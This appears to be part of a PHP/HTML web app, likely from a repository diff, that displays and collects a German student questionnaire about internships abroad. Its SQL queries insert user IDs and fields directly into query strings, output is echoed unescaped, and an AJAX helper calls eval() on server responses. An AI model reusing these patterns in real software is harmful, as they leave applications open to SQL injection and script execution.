This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Dhtmlgoodies.com., hereby disclaims all copyright interest in this script
written by Alf Magne Kalleland.
Alf Magne Kalleland, 2006
Owner of DHTMLgoodies.com
************************************************************************************************************/
var ajax = new sack();
function getCityList(sel)
{
var countryCode = sel.options[sel.selectedIndex].value;
document.getElementById('dhtmlgoodies_city').options.length = 0; // Empty city select box
if(countryCode.length>0){
ajax.requestFile = 'getSubCat.php?countryCode='+countryCode; // Specifying which file to get
ajax.onCompletion = createCities; // Specify function that will be executed after file has been found
ajax.runAJAX(); // Execute AJAX function
}
}
function createCities()
{
var obj = document.getElementById('dhtmlgoodies_city');
eval(ajax.response); // Executing the response from Ajax as Javascript code
}
</script>
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
</head>
<body onload=\"if(document.auswert)document.auswert.dhtmlgoodies_country.focus();if(document.auswert)document.auswert.uberschrift.focus();return false;\">
<h2>Fragebogen zum Auslandspraktikum</h2>
<p align='center'>
<img border='0' src='images/aespa_logo.jpg' width='493' height='132' align='center'></p>";
$result_edit = $db->query("SELECT DISTINCT 1
FROM aesp_admin_rechte_zuord
WHERE uid = '$uid1'
AND aesp_admin_rolle = 'a_neuanlag'");
$row_edit = $result_edit->fetch_array();
if($row_edit[0] == '1'){
echo "<div align='center'><a href=\"neuanlage.php?action=studbearb&stud_uid=$uid_user\"><img src=\"images/edit.png\" border=\"0\"></a></div>";
}
echo"
<p align=\"center\"><a href=\"javascript:history.back()\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a>
<p align='center'>&nbsp;</p>
<form action=";echo $_SERVER['PHP_SELF'] . "?action=auswertung";echo" method=\"POST\" name=\"auswert\">
<div align='center'>";
$db = dbconnect();
#echo "SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid_user'";
#exit;
$result_einver = $db->query("SELECT einverst FROM aesp_pers_ang WHERE uid = '$uid_user'");
$row_einver = $result_einver->fetch_array();
if($row_einver['einverst'] == 'Y'){
$result = $db->query("SELECT mail2 FROM kurs.stud WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo"
<table border='0' width='80%' id='table1' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='4' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>Persönliche Angaben<br>
</b> Deine persönlichen Daten
werden streng vertraulich behandelt und dienen in erster Linie nur
uns, um dir eventuelle Rückfragen zu stellen!
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
&nbsp;
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Private Emailadresse:
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<a href='mailto:$row[mail2]?subject=Frage zum Auslandspraktikum'>$row[mail2]</a>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>";
}
echo "
<div align='center'>
<table border='0' width='80%' id='table2' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>Bewerbungsanschrift</b>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Kontinent </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>";
$db = dbconnect();
$result2 = $db->query ("SELECT kid, kontinent FROM aesp_kontinent WHERE kid=$row3[kontinent]");
$row2 = $result2->fetch_array();
echo"
<b>$row2[kontinent]</b>
</td>
</tr>";
$result4 = $db->query ("SELECT lid, land FROM aesp_land WHERE lid LIKE '$row3[land]'");
$row4 = $result4->fetch_array();
echo "
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Land </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row4[land]</b>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Stadt </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row3[stadt]</b></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Postanschrift
</td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row3[adresse]</b>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ansprechpartner </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row3[ansprechpartner]</b>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Abteilung
</td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row3[abteilung]</b>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>";
$db = dbconnect();
$result = $db->query("SELECT date_format(zeitraum_von, '%d.%m.%Y') von
, date_format(zeitraum_bis, '%d.%m.%Y') bis
, abteilung_genau
, platz_gefunden
, visum
, transport
, beginn_vorbereitung
, erasmus
, auslandskostenzuschlag
, bereich
, beschreibung
, aufgaben
FROM aesp_allgemein
WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo "
<table border='0' width='80%' id='table2' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>Allgemeines zum Praktikum</b>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
Zeitraum </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<b>$row[von]</b> bis <b>$row[bis]</b>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Genaue Bezeichnung der Abteilung </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[abteilung_genau]</b></p>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Wie hast du Deinen Praktikumsplatz gefunden? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[platz_gefunden]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Wie hast du
die Reise organisiert und wie teuer war diese etwa? </td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
- Visum
</td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[visum]</b>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
- Transport </td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[transport]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Wann hast du
mit den Vorbereitungen für das Praktikum begonnen? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[beginn_vorbereitung]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
Hast du Erasmusmittel beantragt und wie hoch waren diese?
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[erasmus]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
Hast du einen Auslandskostenzuschlag beantragt und wie hoch war dieser?
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[auslandskostenzuschlag]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
In
welchen Bereich kann man deinen Praktikumsplatz einordnen? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px' align='left'>";
switch($row['bereich'])
{
case 'S':
$bereich = 'Sonstige';
break;
case 'OV':
$bereich = 'Öffentliche Verwaltung';
break;
case 'FW':
$bereich = 'Freie Wirtschaft';
break;
}
echo"
<b>$bereich</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Bitte
beschreibe die Stelle kurz: </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[beschreibung]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Deine
Aufgaben bei dieser Stelle waren: </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[aufgaben]</b>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>";
$db = dbconnect();
$result = $db->query("SELECT wo_gefunden
, ag_hilfe
, kosten
FROM aesp_unterkunft
WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo"
<table border='0' width='80%' id='table3' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b> Zur Unterkunft </b></td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Wo hast du
gewohnt und wie hast du die Wohnung gefunden? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[wo_gefunden]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
Wurde
dir von Arbeitgeberseite bei der Suche geholfen oder gar eine
Unterkunft zur Verfügung gestellt? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[ag_hilfe]</b>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' height='27' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'><br>
Was hat dich deine Wohnung gekostet? </td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[kosten]</b>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>";
$db = dbconnect();
$result = $db->query("SELECT einbindung
, aufnahme
, interessant
, gefordert
, dazulernen
, sprachprobleme
, erfahrungen
, schwierigkeiten
FROM aesp_bewertung
WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo"
<table border='0' width='80%' id='table4' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b> Bewertung deiner Stelle</b>
<br>
<span style='font-size: 8pt'>Gib
auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine
Stelle zutrifft! 10 heißt dabei, dass es genau so war, eine 1
bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv
;)</span><br>
&nbsp; </h1>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich wurde sehr gut in die tägliche Arbeit mit eingebunden </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[einbindung]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich fühlte mich auch unter den Kollegen gut aufgenommen </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[aufnahme]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Die mir gestellten Ausgaben waren interessant </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[interessant]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich fühlte
mich gefordert </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[gefordert]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich habe
etwas dazulernen können </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[dazulernen]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich hatte
keinerlei Probleme mit der Sprache </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[sprachprobleme]</b> </td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Ich konnte viele gute Erfahrungen sammeln </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[erfahrungen]</b> </td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px' height='25'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
Eventuelle
Schwierigkeiten </td>
<td width='40%' style='border-right-style: solid; border-right-width: 2px' height='25'>
<br>
<b>$row[schwierigkeiten]</b>
</td>
</tr>
<tr>
<td width='60%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='40%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
<div align='center'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>";
$db = dbconnect();
$result = $db->query("SELECT lebenshaltungskosten
, unternehmen
, kontakte
, schwierigkeit_kontakte
FROM aesp_freizeit
WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo"
<table border='0' width='80%' id='table5' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>Freizeit<br>
&nbsp;</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Lebensunterhaltskosten/Woche ca. </td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[lebenshaltungskosten]</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Was konnte man unternehmen?<br>
(Tagsüber und Nachts) </td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[unternehmen]</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Konntest du Kontakte knüpfen? </td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[kontakte]</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
War dies
eher leicht/schwer? </td>
<td width='56%' style='border-right-style: solid; border-right-width: 2px'>
<b>$row[schwierigkeit_kontakte]</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<div align='center'>";
$db = dbconnect();
$result = $db->query("SELECT letzte_worte
FROM aesp_schluss
WHERE uid='$uid_user'");
$row = $result->fetch_array();
echo"
<table border='0' width='80%' id='table6' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>Deine abschließenden Worte</b><br>
<span style='font-size: 8pt'>Was du einem
Studenten mit auf den langen Weg ins Ausland geben möchtest! Ein
paar gute Tipps vielleicht? <br>
&nbsp;</h1>
</td>
</tr>
<tr>
<td width='99%' style='border-left-style: solid; border-left-width: 2px; border-right-style:solid; border-right-width:2px' colspan='2'>
<p style='margin-left: 3px; margin-right: 3px'>
<b>$row[letzte_worte]</b>
</td>
</tr>
<tr>
<td width='43%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='56%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
</div>
</div>
<p align=\"center\"><a href=\"javascript:history.back()\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a>
</body>
</html>";
?>

647
fragebogen.htm Executable file
View File

@ -0,0 +1,647 @@
<?PHP
echo "
<html>
<head>
<meta name='GENERATOR' content='Microsoft FrontPage 6.0'>
<meta name='ProgId' content='FrontPage.Editor.Document'>
<meta http-equiv='Content-Type' content='text/html; charset=windows-1252'>
<title>Fragebogen zum Auslandspraktikum</title>
<style>
<!--
h2
{margin-bottom:.0001pt;
text-align:center;
page-break-after:avoid;
font-size:20.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
h1
{margin-bottom:.0001pt;
page-break-after:avoid;
font-size:12.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
-->
</style>
</head>
<body>
<h2>Fragebogen zum Auslandspraktikum</h2>
<p align='center'>
<img border='0' src='images/aespa_logo.jpg' width='493' height='132' align='center'></p>
<p align='center'>&nbsp;</p>
<form method='POST' action='--WEBBOT-SELF--'>
<div align='center'>
<table border='0' width='80%' id='table1' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='4' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<b><font face='Arial'>Pers<72>nliche Angaben<br>
</font></b><font face='Arial' size='1'>Deine pers<72>nlichen Daten
werden streng vertraulich behandelt und dienen in erster Linie nur
uns, um dir eventuelle R<>ckfragen zu stellen!</font>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<span style='font-size: 10.0pt; font-family: Arial'>Vorname</span>
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<input type='text' name='vorname' size='80'></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Nachname</span>
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='nachname' size='80'></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>AG</span>
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='ag' size='2'> / <input type='text' name='agjahr' size='2'>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Geburtsdatum</span>
</td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='tag' size='2'>.<input type='text' name='monat' size='2'>.<input type='text' name='jahr' size='4'></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Strasse, Nr.</span></td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='strasse' size='80'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>PLZ, Ort</span></td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='plz' size='5'>,
<input type='text' name='ort' size='70'></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'>Emailadresse</span></td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='mail' size='80'>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<span style='font-size: 10.0pt; font-family: Arial'></span></td>
<td width='82%' colspan='3' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='checkbox' name='eiver_rueckfr' value='ON'>
<span style='font-size: 8.0pt; font-family: Arial'>Ich bin damit einverstanden, dass meine <u>Emailadresse</u> f<>r eventuelle Nachfragen ver<65>ffentlicht wird.</span>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='82%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</div>
<div align='center'>
<table border='0' width='80%' id='table2' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font face='Arial'><b>Allgemeines zum Praktikum<br>
</b><span style='font-size: 8pt'>Bitte f<>lle die Kontaktfelder
so genau wie m<>glich aus, damit man sp<73>ter die richtigen
Personen erreichen kann! Wenn Du die Kontaktadresse nicht
auswendig parat hast (wahrscheinlich ist das so), dann schicke
sie uns bitte an
<a href='mailto:AESPAeV@gmail.com'>
AESPAeV@gmail.com</a> ! Dankesch<63>n!</span></font></td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<font size='2'><span style='font-family: Arial'>Zeitraum</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<br>
<input type='text' name='von_tag' size='2'>.<input type='text' name='von_monat' size='2'>.<input type='text' name='von_jahr' size='4'> <font size='2'><span style='font-family: Arial'>bis</font> <input type='text' name='bis_tag' size='2'>.<input type='text' name='bis_monat' size='2'>.<input type='text' name='bis_jahr' size='4'>
</p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font size='2'><span style='font-family: Arial'>Land</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='land' size='90'></p>
</td>
</tr>
<tr>
<td width='17%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<font size='2'><span style='font-family: Arial'>Stadt</span></font></td>
<td width='82%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<input type='text' name='stadt' size='90'></p>
</td>
</tr>
<tr>
